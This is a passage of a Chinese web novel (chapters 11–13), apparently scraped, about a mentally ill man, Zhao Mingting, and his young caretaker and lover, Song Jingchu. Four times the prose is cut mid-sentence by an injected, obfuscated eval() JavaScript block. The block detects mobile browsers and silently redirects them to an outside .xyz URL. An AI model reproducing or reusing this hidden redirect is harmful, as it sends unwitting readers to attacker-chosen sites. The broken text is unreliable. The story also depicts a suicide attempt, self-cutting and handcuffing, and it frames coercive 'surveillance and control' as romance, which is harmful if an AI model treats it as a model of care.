“你也不准!”宋景初说罢,冲下楼寻找了一圈,在桌子的角落边发现了阿水的发夹,他拿起发夹,掰成了一条,径直又冲上楼,连赵明庭说了些什么都不听了,只一味地撬门,好半晌,只听见咔哒一声,门打开了,宋景初丢下发夹进门,一把拽起地上的赵明庭,连拖带拽地半抱着,将人扔在了床上。 赵明庭有些惊魂未定,皱着眉想推开宋景初,却被宋景初紧紧压在床上动弹不得,两人之间的距离几乎要为零了,一股强烈的压迫感紧紧包裹着赵明庭,让他逃了逃不掉,只能直面。 “赵明庭,不准走。”宋景初明明才是压着对方的那个人,委屈得却像是被弃养的小狗:“求求你不要走,也别赶我走,有什么事你说出来,我们一起解决,不行吗?” “你解决不了!”赵明庭怒吼道:“我也解决不了!我们谁都没办法!如果我们之中有任何一个人有办法解决,我就不会是现在这副样子!” 宋景初沉默,没有再继续说话。 半晌,一滴温热的液体滴在了赵明庭的脸颊上。 是泪水。 赵明庭一瞬间就后悔自己刚才的态度了,他颤抖着手,抚摸着宋景初的头,语气里带着几分前所未有的慌乱。 “我,对不起景初,我不是这样想的,对不起,我刚才,我刚才不知道怎么了……对不起,是我的错,都是我的错……” 赵明庭反反复复地重复着这几句话,语序都有些混乱了,他几乎是有几分崩溃,不停地擦着宋景初的眼泪,然而宋景初的委屈也如同开了闸的水龙头,怎么也止不住。 他想,他认真照顾了赵明庭这么多天,到最后,在他心里却依旧只是个可有可无的人。 “对不起,景初,我真的不是故意说这些话的,你别生气好不好……” 赵明庭也哭了,泪水像断了线的珠子一样散落。 宋景初却没有回抱他,也不说任何话,只是用一双极为悲伤的眼睛看着他。 两两相望,唯余失望。 赵明庭一遍又一遍地道歉,然而宋景初却仍旧无动于衷,心中的恐惧越来越多,几乎要满溢出来,正当他濒临崩溃的时候,宋景初起身离开了,走的时候什么话也没说。 赵明庭躺在床上,泪水止不住地涌出,他再也无法压抑自己的情绪,崩溃地哭出了声。 之后的几天,宋景初依旧会认真照顾赵明庭,只是两人之间的气氛已然降到了冰点,几乎再没什么对话,好几次赵明庭主动开口了,得到的都只是宋景初冷冰冰的回应。 赵明庭开始有些着急了。 他想,他真的错了,即使他是病人,也不该对喜欢的人恶语相向,这不是他的借口,不是挡箭牌。 无论如何他都不应该说出那样的话,伤了别人的心。 他真的错了。 可是宋景初不再会回应他的道歉了,甚至不会再理会他了,任由他每天自言自语,只是偶尔会在他做的过火的时候出手制止。 赵明庭受不了了。 他无法接受这种冷暴力。 所以选择了很极端的方式,趁着宋景初没有注意到的时候想从楼上跳下去。 还好宋景初及时发现,将他拉了回来。 但后果却并没有达到赵明庭的预期,相反,他被宋景初用手铐锁住了双手,丢进卧室,之后的那几天,无论是吃饭还是上厕所,全部都是宋景初帮他的。 这比杀了他还要难受。 “景初,你别不理我,你和我说句话好不好?” 赵明庭真的受不了了,几乎是在苦苦哀求宋景初开口理他。 宋景初不理会,只是将他的双手擦干净后,又将他抱回了卧室。 “理理我好吗?景初,我想去看看小猫。” “死了。” 宋景初扔下两个字,头也不回地出了门,只剩下赵明庭一个人站在原地发怔,整个人像是当头挨了一棍。 当天晚上,赵明庭吐得死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15493063|169378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去活来,大有要将五脏六腑全吐出来的架势,整个人都已经哭到脱水,阿水赶来之后,听了前因后果,急忙给赵明庭打了镇定剂,又替他挂了生理盐水,一直看着赵明庭死死地沉睡过去之后才转头看向了宋景初。 “你就是这么照顾他的?”阿水紧皱眉头,气得有些发抖:“我说过,不要刺激他。” “对不起,是我一时心急了。”宋景初说着懊悔的话,语气里却听不出一丝懊悔,只有平淡和无所谓。 阿水咬了咬牙,最后还是松了拳头。 “明天开始你不用再照顾他了,我自己来,宋先生,辛苦你了。” “不必,我说了我知道错了,我以后会注意。” “你让我怎么再相信你?” “我还不至于拿别人的生命来开玩笑。” “我不可能再信任你了。”阿水强硬道:“赵先生有句话说得对,你确实该离开了。” “对,我是该离开。”宋景初忽然冷笑了一声:“反正我不过是可有可无的存在,离开了正好,免得碍了你们的眼。” “宋先生,我强调过很多次,他是病人,不要意气用事,是你自己先违约了。” “对,他是病人,我是正常人,我就该让着他,我就应该每天受气,我就活该被他随随便便就扔回去,连之前的一丝情分都不顾!” 宋景初忽然怒了,紧紧抓住了阿水的肩膀:“凭什么,凭什么他轻而易举地就可以抛弃我?凭什么他说不要我了就不要我了?凭什么他招招手我就要再回去?他凭什么丢掉我!是他先招惹我的!” “可这些都是你自己心甘情愿的,没人逼你!”阿水怕吵到赵明庭,拽着宋景初的衣领就带着他出了卧室,到了门外,她咬牙切齿道:“是你自己主动贴上来的,答应别人的事就要好好做到,没人教你是吗?” 宋景初笑了。 “阿水,我发现了,一涉及到他的事,你的态度就会完全变样,你也喜欢他,是吗?” 阿水不可置信地看着他:“你在说什么胡话?” “明庭他那个样子,很难会有人不喜欢他吧。” 阿水冷声道:“他只是我的患者,我请你放尊重些。” “好,我道歉,对不起,阿水医生,全都是我的错,是我自作自受,觍着脸说要照顾他,却把他害成了这副模样,全都是我的错,我活该。”宋景初冷眼:“全都是我一个人的错。” “宋景初,我早就告诉过你,长期和精神病人呆在一起会影响自己的情绪,甚至是思维方式和判断能力,你现在已经受到了很大的影响,赵先生让你回家不是为了赶你走,是为了保护你!” “可是他有没有考虑过我的想法,有没有考虑过我愿不愿意离开?”宋景初深深地叹了口气,努力不让泪水掉下来:“我说过,这些都是我自愿的,是我心甘情愿,为什么还要赶走我……” “因为他也爱你。” “不,他不可能。” 阿水冷声道:“你凭什么这么笃定?我陪在他身边十四年,他的一言一行我比你更了解。” “是,所以我不相信他会爱我,因为他从来不对我敞开心扉,只想着怎么把我赶走!” “我说了他不是要赶走你,他也在用自己的方式保护你,你为什么就不能理解一下他?” “我理解他,谁来理解我?”宋景初绝望了:“谁能理解我的心情?你知道他赶我走的时候我有多难受吗?无缘无故,忽然就这样,我甚至不知道自己哪里做错了,是不是说了什么不该说的话,做了什么不该做的事,你让我怎么猜?他什么都不告诉我,你让我怎么办? “你告诉我,我究竟做错了什么……” 阿水无言以对,深呼吸了几口气之后,默默地拍了拍他的肩膀。 “你没错,他也没错,你们都在为对方着想,都是因为爱对方才会做出这样的决定,可是人和人需要的是沟通,瞒着对方的爱并没有意义,也不应该用这种方式去惩罚心爱的人。” “可是我不想沟通了,阿水,我累了。” 宋景初轻轻挪开了阿水的手。 “我真的累了,随便吧,你放心,我还会继续照顾他的,我发誓我不会再那样对他了。” 宋景初说罢便转身离开了,只剩下阿水一个人留在原地,神色复杂。 11.第 11 章 真论起谁是谁非,其实也没有办法定夺,赵明庭得了这么久的病,在别人眼中早已经成了常事,那些乱七八糟的症状见多了也就不会再感到稀奇,而宋景初作为一个正常人,已经用自己最大的心力去研究精神疾病的症状,但毕竟纸上得来终觉浅,很多症状他还从未见过,未曾察觉到赵明庭的情绪也是常事,不理解也是常事。 这让赵明庭有些失落,心里却又默默地原谅了宋景初。 他想,他不能要求每一个爱他的人都完完全全了解他的一切,不能要求所有人都顺着他的心意走,地球没了他照样会转,世界没了他也不会毁灭,他于别人来说不过就是一个可有可无的存在,谁看得起他,谁有看不起他,又有什么意义呢?他又不在乎。 然而宋景初却强硬地将他的这个想法驳了回去。 那是一个寒冷的阴天。 赵明庭从早上起床的时候心情就差到了极点,臭着一张脸,大有一点就炸的势头。 宋景初过来喂药的时候,赵明庭三番五次地将药片夺过扔到地上,宋景初也不生气,只是机械性地重复着喂药的动作,一次又一次,直到赵明庭终于忍无可忍,将水杯夺过,走下床打开窗将杯子扔了出去。 宋景初的忍耐性也到达了极限。 两人沉默地看着对方,一时间空气当中弥漫着极为浓重的火药味。 “赵明庭,吃药。” 这是宋景初和赵明庭相处这么久以来,第一次用如此严厉的语气和他说话。 “我不想吃。” 赵明庭红着眼睛,无力地瘫坐在地毯上,将头撇过一旁,不去看宋景初的脸。 “我再说最后一遍。”宋景初显然也有些心累了,语气里的严肃越发明显,“你乖乖吃药,吃完药我带你出去玩。” “我不想吃药!听不懂吗?!!为什么一直让我吃药,有效果吗,我有变好一点儿吗,我根本就没有病没什么要让我一直吃药!” 赵明庭彻底崩溃了,眼泪瞬间倾泻而下。 “我已经吃了很多年药了,景初,十几年,十几年过去了,吃了这么久,为什么我还是没有变好?” 赵明庭几乎是有些绝望,双目猩红地看着宋景初。 “你告诉我,我要怎么才能好?让我吃药,我吃了,让我做手术,我也做了,该配合的一切我全都配合了,还要我怎样…… “你告诉我,我到底该怎么办?” 宋景初像是被人当头敲了一棒,顿时怔在了原地,连话都说不出来。 他刚才,到底在发什么脾气。 是啊,赵明庭是个病人。 他怎么能对着一个病人发脾气? 赵明庭现在最需要的就是家人的关心,他怎能,怎能对他那样说话…… 一开始选择追求赵明庭的是他,不顾赵明庭有严重精神疾病都要去追求的也是他,是他自己说要主动承担起责任的,他有什么资格在这里发脾气? 既然选择了要将他追到手,那他就一定会说到做到,当时就是抱着这样的想法他才不顾一切去追求赵明庭,拼尽全力也要将他抱紧怀中,尽管他满身荆棘,也在所不惜。 可是现在,他开始怀疑自己了。 他真的有资格照顾赵明庭吗?他真的心甘情愿这辈子就这样和一个精神病人绑在一起吗? 夜里一次又一次的惊醒,和总是都睡不完整的觉,还有身上永远挥散不去难闻的中药味。 吐在自己身上的污秽,莫名其妙被迫承受的坏情绪,还有无端的指责和辱骂。 他知道赵明庭是生病了才会这样对他,每次过后赵明庭都会很愧疚地和他道歉,他知道,他什么都知道。 可是他好像真的受够了。 赵明庭的心就像是一口深井,无论扔进去多少东西都难以填满,永远也得不到任何回应,唯一能得到的只有自己喊出去的回音。 他忽然就绝望了,赵明庭好像真的已经病入膏肓了,无论如何都治不好了。 没有出路的感情,就是在走一段永无止境的隧道,永远以为下一段是光明,永远在下一段隧道里再次跌入黑暗。 前几天因为他太累,不小心睡着了,导致赵明庭得到了机会,在浴室里打碎镜子,用碎片在自己胳膊上划了很多伤口,等到他们发现的时候,伤口的鲜血早已凝固,粘黏在了薄薄的毛衫上。 万幸没有伤到动脉和静脉,所有人才松了一口气。 当时本就自责不已,再加上这么多天的日积月累,宋景初实在是有些找不到再继续坚持下去的理由。 他也不知道该怎么办了。 “对不起,明庭。”宋景初深吸一口气,眼眶却还是忍不住地泛红了。 “我想我确实不适合再继续照顾你了,前些日子那样对你,我很抱歉,小猫其实没有死,还活着,在医院,对不起,我不该那样对你说话,一会儿我就去收拾东西,我下午就走,对不起,我不会再打扰你。” “你什么意思?”赵明庭颤抖着声音:“你要走?” “对不起,我想我们以后还是不必再见面了。” “好啊,你现在就走。”赵明庭哽咽了,语气却仍旧强硬:“走了别再回来了!” “对不起。” 宋景初转身就出门了,真的没有再回头看过一眼。 一时间,空荡荡的房间里只剩下一片狼藉,赵明庭呆坐在床上,连眼泪都流不出来了,只剩下一颗心脏在扑通扑通狂跳,仿佛要用尽全部力气,下一秒就会停止,彻底了无声息。 宋景初真的回家了。 收拾完东西之后就直接走了,连声招呼都没打。 赵明庭沉默地坐在床上,听着窗外汽车发动的声音,渐渐地离他越来越远,好像连同他的神魂都一起带走了。 江夏赶到卧室的时候,只见赵明庭失魂落魄地跪坐在床上,像是从腐朽的棺材里刚刚爬出一样,没有一丝生息。 赵明庭发烧了。 这一次来势汹汹,一烧就是连着四五天,江夏带着两个佣人和阿水每天忙得脚不沾地,而这一切都和宋景初没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15494588|169378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么关系了。 宽大的书桌前,宋景初写完最后一道题,合上卷子,抬头望了一眼窗外。 阴天。 手机还在响。 “今日气温最低零度,最高三度,请各位市民出行注意保暖,尽量减少外出活动……” 气压低,心情也随之低落。 宋景初躺在床上,胡思乱想了很久,最终还是打开了手机,将那段反复看了不知道多少遍的视频再一次点开了。 视频里的那个人如此灿烂,像花朵一样明艳,然而现在却变成了一潭死水,再无半点生机。 阿水说的很对,他的确太小了,肩负不起一生一世的诺言,真正接触到了赵明庭的阴暗面之后,他才发现原来自己对这个人的了解真的太少太少,只凭自己的一意孤行就想拯救跌落谷底的迷途者,实在太过幼稚。 是他太年轻气盛,什么都不懂,在情窦初开的年纪遇见了最惊艳的人,就妄想靠自己的一腔热血去将他从泥潭中拉起,不仅没做到,反而让自己也差点深陷其中。 全都是他的错。 他没有办法去责怪一个病人,也不会去责怪。 一切的一切,都源于他的一时冲动。 他已经深刻地体会到这种后果的严重性了,再也不想去尝试第二次。 他不是神,只不过比普通人多了几分耐心,就妄想着做别人的救世主,是他太过天真,伤害了爱他的人。 以后还是不要再见面了。 宋景初手一顿,犹豫了很久,最后还是将视频删掉了,连同其他的,一起删了个干干净净。 与此同时的赵明庭终于退了烧,靠在床上静静地发着呆。 江夏站在一旁,见赵明庭稳定下来了,才将邀请函递在了赵明庭面前。 “明天晚上八点有个慈善晚宴需要您出席,地点在赵家的老宅。” “我不想去。”赵明庭一听是赵家,瞬间头就大了:“推掉。” “这是赵家长辈举办的晚宴,已经沟通过了,老夫人很想见您,请您一定要去。” “可是我真的不想去。”赵明庭烦躁不已。 江夏不说话,默默退到了角落,选择让赵明庭自己消化情绪。 赵明庭郁闷了半天,到底还是让江夏去准备衣服了。 前些日子他去认祖归宗,将自己从赵家的族谱上挪回了叶家,算是彻底和赵宋两家没了任何关系,但毕竟养育之恩还在,万不能轻易割舍。 只是这种场合宋景初一定会在,而他实在是不想再见宋景初了。 毕竟那天被伤到的,又不止一个人。 晚宴一转眼就来到了,赵明庭就算再不情愿也得硬着头皮来。 宴会上,老太太将他搂进怀中,一口一个心肝儿,听得他脸颊通红,许久未曾相见,老太太想赵明庭想得紧,拉着他的手坐下絮絮叨叨说了好多话,赵明庭认真听着,也认真回复,一场聊下来,拍卖环节都快要结束了,老太太这才回过神,急忙让人拿了几件珍藏品交给江夏,带回园子。 12.第 12 章 别了老太太之后,赵明庭已然要累趴了,从服务生手中接了小蛋糕,找了个角落坐下就准备休息,阿水昨天千叮咛万嘱咐让他不要喝酒,所以他一口都没敢沾。 宴会吵闹的很,人来人往,觥筹交错,赵明庭烦得不行,刚吃完半个小蛋糕,准备起身回家的时候,眼前就陡然多出了一片阴影,他一怔,疑惑地抬起了头。 “这位先生,请问您是哪里人,我怎么没在本市见过您?” 对面的男人身高足足比赵明庭高了半个头,压迫感极强,却带着和善的笑,眉眼温柔地看着赵明庭。 赵明庭久未回国,认不出对方,只能先客气搭话道:“你好,我是赵明庭,久居英国,前些日子刚回来,对国内还不太熟悉,不知您是?” “你好,叫我郑温延就行。” “嗯,请问您找我是有什么事吗?” 赵明庭面上还算看的过去,心里已经把对方千刀万剐了。 他血压低,站多了会头晕,这会儿已经隐约有耳鸣的征兆了,碍于礼貌,又不能坐下。 “没什么,就是觉得赵先生您风姿出众,想跟您交个朋友,方便加个联系方式吗?” “行,我加……” “不行。” 赵明庭刚准备拿出手机和对方加个号码,面前陡然就出现了一个人,语气强硬,径直挡在了两人中间。 “他已经有家室了,不方便加外人。”宋景初冷冷地看着对方,眼里带着几分赤裸裸的挑衅。 “哦?是吗?”郑温延轻笑。 宋景初冷声道:“是,他有。” 郑温延看向了赵明庭:“我在问赵先生。” 气氛变得剑拔弩张,赵明庭一时间连话都不敢说了,恨不得钻到地底下去,他看了看宋景初,又看了看郑温延,刚酝酿好,打算开口说些什么,忽然血压猛降,两眼一黑,腿一软就倒了下去。 宋景初应对过好几次这种事,早已经见怪不怪,眼疾手快,瞬间将人扶住抱起,十分熟稔地拨通了江夏的电话:“十分钟内过来接我们,明庭昏迷了,让阿水他们做好准备。” “收到。” 江夏挂断电话,直接一个甩尾转弯调转车头往赵家老宅开去。 宴会这边,宋景初将人打横抱在怀里,急匆匆地找到了赵老夫人,老夫人一看赵明庭晕倒了,瞬间吓得不轻,赶紧就让宋景初将人送到楼上她的房间里去,郑温延不明所以,却也要执意跟着,宋景初不知道对方的来头,当众也不想让对方难堪,就任由他跟了过来。 一群人闹哄哄地将赵明庭送上了楼,宋景初嫌吵干脆将所有人都拒在了门外,谁都没放进来,将人放在床上后,他迅速倒了杯水喂给了赵明庭,喂完之后见赵明庭还是没反应,心瞬间就提到了嗓子眼。 明明说好的再也不想见到这个人了,可真的将他抱在怀里的时候,还是会忍不住地朝他靠近,想将他抱得紧一些,再紧一些。 看到赵明庭这副模样,宋景初承认自己还是有些痛心。 好在阿水和江夏赶来得很快,几人带着赵明庭就要回园子,上车的时候阿水犹豫了一下,皱眉看着宋景初道:“你跟来做什么?” 宋景初冷声道:“别废话了,先送他回去。” 阿水神色复杂,没再说什么,让宋景初上了车,沉默地关上了车门。 到了园子,阿水将人推进卧室,先量了血压,见已经低得不像话了,赶紧就喂了些温盐水,挂上了营养液,过了一两个小时,赵明庭才慢慢苏醒,睁开眼的时候身旁只有宋景初一个人。 见赵明庭醒了,宋景初张了张嘴,最后却什么也没说,他准备去叫阿水过来再量一遍血压,刚起身,衣角就被赵明庭紧紧拽住了。 “别走。” 赵明庭声音很小,但宋景初听得一清二楚,这分明是在恳求。 “景初,我知道你不想再见我,但是今天,别走,好不好?”赵明庭艰难地坐起身,想要下床挽留宋景初,宋景初急忙回头将人稳住。 “别乱动,你手上还吊着针。” “景初,之前的事是我的错,阿水和我讲了,对不起,是我没有注意到你的情绪,我不是想赶你走,我只是…我只是……” 赵明庭说不出话,难过地低下了头。 “我知道,你是因为生病了才会说这些话。”宋景初抱了抱赵明庭,轻轻地摸了摸他的头:“不用道歉,是我不好,是我太意气用事了。” 赵明庭闻言,眼泪瞬间大颗大颗落下,极其委屈地趴在宋景初怀里大哭,语序混乱,始终重复着抱歉的话,宋景初叹了口气,心想自己终究还是无法割舍,终究还是想将赵明庭牢牢抓住,抱紧在怀里。 “明庭,我知道你是因为生病了才会这样,但是我还是会因为你说的那些话而感到痛心,我也同样是人,何况我还那么喜欢你。” 赵明庭不说话,只是窝在宋景初怀里,哭得更加厉害。 “我知道你很痛苦,但我的存在,就是为了让你不那么难过,可你总是把所有的事情都压在心里,什么也不愿意告诉我,一次又一次地把我推开。 “你有你的痛苦,我也有我的痛苦,每次看到你因为药物而吐得昏天暗地的时候,我的难受一点儿也不比你少,看到你伤害自己的时候,我恨不得能自己替你承受这份痛。” 宋景初将人抱在怀中,搂的更紧,任由赵明庭的眼泪打湿自己的衣服。 “不要再瞒着我了,求求你了,如果真的爱我,至少给我一个知情权吧?” 赵明庭哭到说不出话,只是紧紧抓住了宋景初,他太害怕自己被抛弃了,他真的不想再做那个被丢下的人,然而他却一次又一次用自己的病情,去肆意中伤别人。 “我们,试着交往吧。” 宋景初极其认真地说:“要不要和我试一试?” 赵明庭愣住了,止住哭声,红着眼睛抬起头,迷茫地看着宋景初的脸。 “但是我要先说好,我谈恋爱和追人的方式完全不同,和我在一起,你就要做好完全被我监视和控制的准备,你能接受吗?” 赵明庭抽泣着点头。 “以后你只能听我的话,能做到吗?” “嗯… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504518|169378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” “这是你自己答应的,既然说了,就要做到。” 赵明庭用力点了点头,抓着宋景初衣服的手更紧了。 宋景初轻笑,将人从自己身上扒了下来,扶着他躺回了床上。 “再睡会儿吧,我就在这里,哪儿也不去。” 赵明庭擦干净了眼泪,还没开口就被宋景初一根手指堵在了嘴边。 “嘘,睡吧,有什么事等你完全清醒以后我们再沟通。” 赵明庭表面上点了点头,转过身,却无论如何都闭不上眼了。 他的解离有些严重,刚才哭得那么伤心,其实在宋景初说要和他试一试的一瞬间就已经从情绪中抽离出来了,彻底清醒,所以那几句答应并不是情绪上头,而是他的心甘情愿。 可他总感觉自己好像上了什么套。 果然,今夜宋景初真的没回去,而是换了一套新睡衣,径直躺在了赵明庭的床上。 赵明庭躺了半天,起身下楼取了个茶杯,回到卧室的时候就只见宋景初侧躺着撑着头,一双眼睛笑意盈盈地看着他,还拍了拍自己的身前。 赵明庭咽了咽口水,隐约有种腰很疼的感觉,想跑,却又被那道目光钉在原地,一步也不敢后退。 他硬着头皮上了床。 刚躺下,宋景初就将他紧紧地抱在了怀中。 “别,别蹭这儿,有点儿痒。”赵明庭稍稍躲开了一点,却被宋景初强硬地按回了怀中。 片刻之后,赵明庭的脖子上得到了一个红红的草莓印。 “我明天还要开会呢。”赵明庭可怜巴巴地看着宋景初。 宋景初低头亲了亲他的额头,轻声道:“你是不是不准备给我名分?打算搞金窝藏娇那一套?” “我没有。”赵明庭当即否认。 “那为什么不能给别人看?”宋景初更来劲了:“我就是要让所有人都知道,你是我的,免得有不长眼的东西敢凑到你身边来。” 显而易见,宋景初在指宴会上那个想加赵明庭联系方式的男人。 赵明庭不禁咂了咂舌,心道他居然还在吃醋。 “我真的没有。”赵明庭眨了眨眼。 “你准备和他加联系方式。”宋景初直视着他:“我看到了。” “你听我解释。” 宋景初将人搂得更紧:“嗯,你说。” “我刚回国,有好多人都还不认识,不方便得罪人家,而且,万一人家有什么生意上的事要和我讲……” 宋景初一挑眉:“可是我听见他说你风姿出众。” 赵明庭不说话了,只一脸无辜地看着宋景初。 “你想跟他跑。” 赵明庭急忙摇头:“你冤枉我,我没有这样想。” “可是我伤心了。”宋景初笑眼看他:“怎么补偿我?” “我,我……”赵明庭红了脸,支支吾吾半天说不出个所以然,最后还是伏在宋景初耳边悄悄说的。 宋景初听完,淡然地摇了摇头。 “我要你自愿。” (**生命大和谐**) 13.第 13 章 翌日醒来的时候,赵明庭浑身上下没有一处是不疼的,整个人都像散架了一样。 他转头,罪魁祸首不仅没有任何歉意,反而还一脸餍足满眼笑意地看着他。 赵明庭默默转过了身,准备下床开溜,然而还没等动身,陡然之间就被身后的人紧紧抱在了怀里。 “想跑去哪儿?” 心思被拆穿,赵明庭尴尬地将头埋进被子里,喃喃道:“我没有要跑,我只是,有点儿口渴,我想喝水……” “真的?” 宋景初贴在他耳边,轻轻咬了一下他的耳垂。 赵明庭缩得更深了,语气里带上了几分心虚:“真的,我没有骗你。” “看着我再说一遍。” 赵明庭不说话,假装自己没听见。 宋景初轻笑。 三秒钟后,赵明庭几乎是连滚带爬地从被子里逃了出来,却被宋景初轻而易举地压回了身下。 两人之间的距离一时间无限接近,赵明庭被逼得脸色通红,都快要急哭了,止不住地用手挡在了身前。 宋景初径直将他的双手捏住压过头顶,鼻尖轻轻碰了碰他的脸颊。 “好烫。” 赵明庭整个人都快要熟透了,眼神闪躲,始终不敢对上宋景初的双眸。 “明庭,看着我。” 宋景初直勾勾地盯着赵明庭的双眼,仿佛他不回望自己就绝不松手,赵明庭被顶得有点儿无奈,只能红着脸直视宋景初。 “你,你先起来……”赵明庭羞赧地指了指身下。 “就这么嫌弃我?”宋景初又往下压了压,赵明庭快要被压得喘不过气了,匆忙哄道:“没有,我没有说我嫌弃你!” “真的?” “真的。”赵明庭努力抬起头,在宋景初侧脸处轻轻一吻,然后小心翼翼地看着对方。 宋景初轻笑了一声,点了点另一边侧脸:“这边也要。” 赵明庭无奈,又只能在另一边也亲一下。 “这下可以放过我了吗?” 宋景初点了点头,终于放开了小猫一样可怜巴巴的赵明庭。 赵明庭身上像是挪开了一块儿巨石,一瞬间空气都变得新鲜无比了,宋景初笑眼看他逃似的离开房间,走的时候还差点儿被地上的衣服绊倒,心里更多了几分怜爱和愧疚。 如果能一直这样下去该多好。 宋景初心想,他们不要再吵架了,也不要在为了对方做那些没有用的牺牲,要是所有的事情都能坦诚地告诉彼此,也许他们之间就不会再有那么多的隔阂了。 可惜他心里清楚的明白,赵明庭就算说破了天,他也只是一个无辜的病人,他不知道自己的心究竟在靠近谁,也看不清未来陪在他身边的只有谁,这是无法更改的事实,任凭多少心意都无法动摇分毫,所以他只能拿出更多的爱和理解去包容赵明庭,无论赵明庭今天怎样,未来如何,他都必须做好无底线去溺爱的准备。 他的爱人是一个心性纯善,心地幼稚的小孩。 尽管年纪大了他不少,可内心仍旧是那个困在雨夜里走不出来的孩子,所以他拿起了伞,强硬地闯入了他的世界,为他撑起一片天地,让他无畏风雨肆意前行。 他想,这才是他在赵明庭生命之中应该扮演的角色,真正该去救赎赵明庭的不是他,是医生,是药物。 而他应该做的,只有坚定地陪伴在赵明庭身边,一直陪着他走下去,从此南北同路,不问东西。 赵明庭逃下楼,匆忙跑进了洗手间,落地镜前,他看着自己满身的红痕,还有某些地方的青紫,实在是有些惨不忍睹。 还好宋景初比较有良心,昨天说了他要开会,于是就没在他身上显眼的地方留下痕迹,除了脖子上有个红红的草莓印,穿上衣服之后,几乎完全看不出来昨夜发生过什么。 然而开会的时候,赵明庭脖子上的印记却还是被几个眼尖的下属发现了。 “庭,你脖子上是被蚊子叮了吗?” 会议间隙,一群人之中最清纯无邪的maria率先打破了网络会议室里的沉默。 赵明庭闻言,瞬间愣住了神,等他反应过来maria在说什么的时候,众人已经爆发出了一阵又一阵疯狂的笑声。 策划grace笑得前仰后合,拍着手解释道:“甜心你太可爱了,这个季节的中国没有蚊子,脖子上的印记是boss的爱人留给他的吻痕。” “真的呀?”maria瞬间眼睛亮起来了,笑眼道:“boss终于摆脱单身了嘛?那今夜我们是不是要开一个单身夜派对庆祝一下?” “不用这么夸张……”赵明庭扶额,尴尬地笑了两下,顺其自然地捂住了自己脖子上的红痕。 一直沉默的sophia先前也跟着众人笑了许久,半晌她才跳出来假装严肃道:“好了,不要再逗弄他了,他害羞了。” 美工daisy插话道:“可是我好想知道boss的爱人长什么样子,我很好奇究竟是怎样的男人能得到boss的心呢?” 毕竟赵明庭可是英区出了名的寡,虽然身边出现过几个疑似为恋人的角色,不过也都没几天就不了了之了。 “It''s me.” 宋景初闻言忽然凑了过来,蹲在赵明庭身前探出了头,毛绒绒的一颗脑袋就这样水灵灵地出现在了赵明庭的视频会议室里。 “你能听得懂她们在说什么?”赵明庭诧异地看着宋景初。 宋景初得意地点了点头。 这些天赵明庭教了他不少东西,他也学得认真,虽然没有到大成的地步,但至少七选五再也不用瞎蒙了,读后续写也能高低多编出来几句话。 赵明庭欣慰地点了点头,忽然就有种吾家少年初长成的感觉,记得刚开始的时候,宋景初连基本的八百词都能错一片,每次教他的时候,都能被气得头疼,而现在居然已经可以听懂他们会议的内容了。 赵明庭头一次体验到了养成系的快乐。 maria夸张地哇了一声,兴高采烈道:“我就知道能拿下boss的男人一定不一般~” “是呀,真是个大帅哥呢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15512309|169378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不过看起来年龄不是很大呢,二十三岁吗?” “No.”宋景初轻笑:“Only eighteen.” 桃符惊叹道:“这么小?boss你变了,你说过你绝对不会和比自己小的男人交往。” 宋景初听懂了,转过头饶有兴致地看着赵明庭。 赵明庭瞬间尴尬地挠了挠头,眼神四处乱飘,一副假装自己很忙的样子。 众人纷纷心领神会地退出了视频会议,宋景初起身,合上了电脑,双手撑在椅子两侧的扶手上,居高临下地盯着赵明庭的脸。 赵明庭汗颜,不知道该从何解释起,却又不得不硬着头皮开口。 “不知道该怎么说,是吗?”宋景初弯下身子,目光与赵明庭平齐,动作轻柔地摸了摸赵明庭的头。。 赵明庭像是被赦免了般,瞬间松了口气,心里的石头也终于落了下来,抓住了宋景初的手:“抱歉,景初,有你陪在我身边,我很幸福,所以我暂时不想再提起之前那些糟心的事了。” “嗯。”宋景初眉眼柔和了几分,心疼地吻了吻他的手:“开了这么久的会,腰疼不疼?” 赵明庭红着脸点了点头,双手环上了宋景初的脖颈:“有一点点。” 宋景初将他抱起在怀中颠了两下,托着他的臀就将他抱到了沙发上。 